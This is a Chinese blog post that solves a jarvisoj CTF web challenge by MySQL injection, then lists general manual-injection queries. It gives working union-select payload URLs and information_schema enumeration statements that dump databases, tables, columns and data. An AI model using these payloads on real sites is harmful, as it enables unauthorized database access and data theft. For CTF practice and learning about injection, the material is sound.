从一个ctf简单总结下mysql手工注入
文章最后更新时间为:2019年04月03日 15:26:47
0x01 先拿flag
有个很不错的ctf平台jarvisoj,上面收录了一些经典的ctf题目。今天做了一个web题,借此记录一下sql手工注入的语句。
题目链接是http://web.jarvisoj.com:32794/
- hint:先找到源码再说吧~~
看起来就像源码泄露问题,于是用自己写的敏感信息泄露检测工具https://github.com/saucer-man/penetration-script/tree/master/source_leak,扫了一下没发现什么文件。。后来搜了wp才知道,源代码在http://web.jarvisoj.com:32794/index.php~,源代码如下:
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
分析程序可知程序接收tables参数,我们需要通过mysqli_query($mysqli,"desc `secret_{$table}`")
,并且利用$sql = "select 'flag{xxx}' from secret_{$table}";
来执行注入。
我们知道desc是用来查表的结构的,其使用方法是desc+表名,后面还可以加个字段名,看下图就很清晰了。
对于表名,使用反引号和单引号的区别不是文章的重点,可以百度到,但是这里有个点:
desc users xxx; // 返回空
desc `users` `xxx`; //返回空
desc 'users' 'xxx'; //报错
这里应该也是题目用引号的原因,我们构造类似于下面的结构就可以绕过mysqli_query($mysqli,"desc `secret_{$table}`")
了
table=test` `xxx
接下来利用上面的形式来利用
"select 'flag{xxx}' from secret_{$table}";
- 查数据库
http://web.jarvisoj.com:32794/index.php?table=test` `union select database() limit 1,1
查表
http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(distinct table_name) from information_schema.columns where table_schema=database() limit 1,1
查字段
http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(distinct column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1
查数据
http://web.jarvisoj.com:32794/index.php?table=test`% `union select group_concat(flagUwillNeverKnow) from secret_flag limit 1,1
- 查数据库
到这里似乎一切顺利,但回顾一下刚才的注入流程,第一条查询数据库的语句可还原为:
select 'flag{xxx}' from secret_test` `union select database() limit 1,1
这里令人不解,中间的反引号为什么没有影响到语句的执行
为了解决疑问,自己在本地搭建了环境,并且试着将反引号改为单引号或者双引号:
搜索了一下mysql对反引号的处理,似乎没有结果,这里暂且留下一个疑问,也欢迎大家留言指正。
0x02 一般的MYSQL手工注入语句
没什么特别的姿势,这里仅记录一下一般的注入语句,每次都手打太累了。
一般手工注入的姿势为:判断时什么注入,有无过滤关键词 --> 获取数据库用户、版本、当前数据库 --> 获取数据库的某个表 --> 获取字段 --> 获取数据
几个常用函数:
- version()——MySQL版本
- user()——用户名
- database()——数据库名
- @@datadir——数据库路径
- @@version_compile_os——操作系统版本
这里一般要用到连接函数
- concat(str1,str2,...)直接连接字符串,没有分隔符
- concat_ws(separator, str1, str2,...)连接字符串,中间用separator分割
group_concat()用来连接某个字段,用逗号分割
mysql> select concat('hello','world'); +-------------------------+ | concat('hello','world') | +-------------------------+ | helloworld | +-------------------------+ 1 row in set (0.00 sec) mysql> select concat_ws(',','hello','world'); +--------------------------------+ | concat_ws(',','hello','world') | +--------------------------------+ | hello,world | +--------------------------------+ 1 row in set (0.00 sec) mysql> select group_concat(username) from users; +-----------------------------------------------------------------+ | group_concat(username) | +-----------------------------------------------------------------+ | Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin | +-----------------------------------------------------------------+
利用连接函数可以一次查出基本信息:
concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@version_compile_os)
concat_ws(0x3a,version(),user(),database(),@@datadir,@@version_compile_os)
group_concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@version_compile_os)
具体的查询语句有很多,主要是依靠information_schema这个库,平时用一种方法也就够了,这里只利用了information_schema.columns这个表。
- 查数据库:(distinct去除了重复数值)
select group_concat(distinct table_schema) from information_schema.columns;
- 查数据库表(库名用16进制,也可以直接用database(),直接加单双引号可能发送错误)
select group_concat(distinct table_name) from information_schema.columns where table_schema = 库名十六进制
- 查表的字段
select group_concat(distinct column_name) from information_schema.columns where table_name = 表名十六进制
- 查数据(0x3a是分号的ascii码)
select group_concat(列1,0x3a,列2,...) from 表名(不能是十六进制)
小思考
写到这里突然想起前几面找实习面试的时候,面试官问了一个问题,sql语句中什么字段可以编码?
sql语句能用16进制地方的最好用16进制,因为单引号双引号可能造成一些错误,但是什么地方可以16进制编码这个问题还真没思考过。我们可以做些实验。
首先列举出不能编码的字段:
然后列举可以编码的字段:
可以看出mysql会对用来比较的字段进行转换,也会对函数参数进行转化。当我们对不同类型的值进行比较的时候,为了使得这些数值可比较,MySQL会做一些隐式转化(Implicit type conversion),具体可参考https://blog.devopszen.com/mysql_params 、 https://dev.mysql.com/doc/refman/5.7/en/type-conversion.html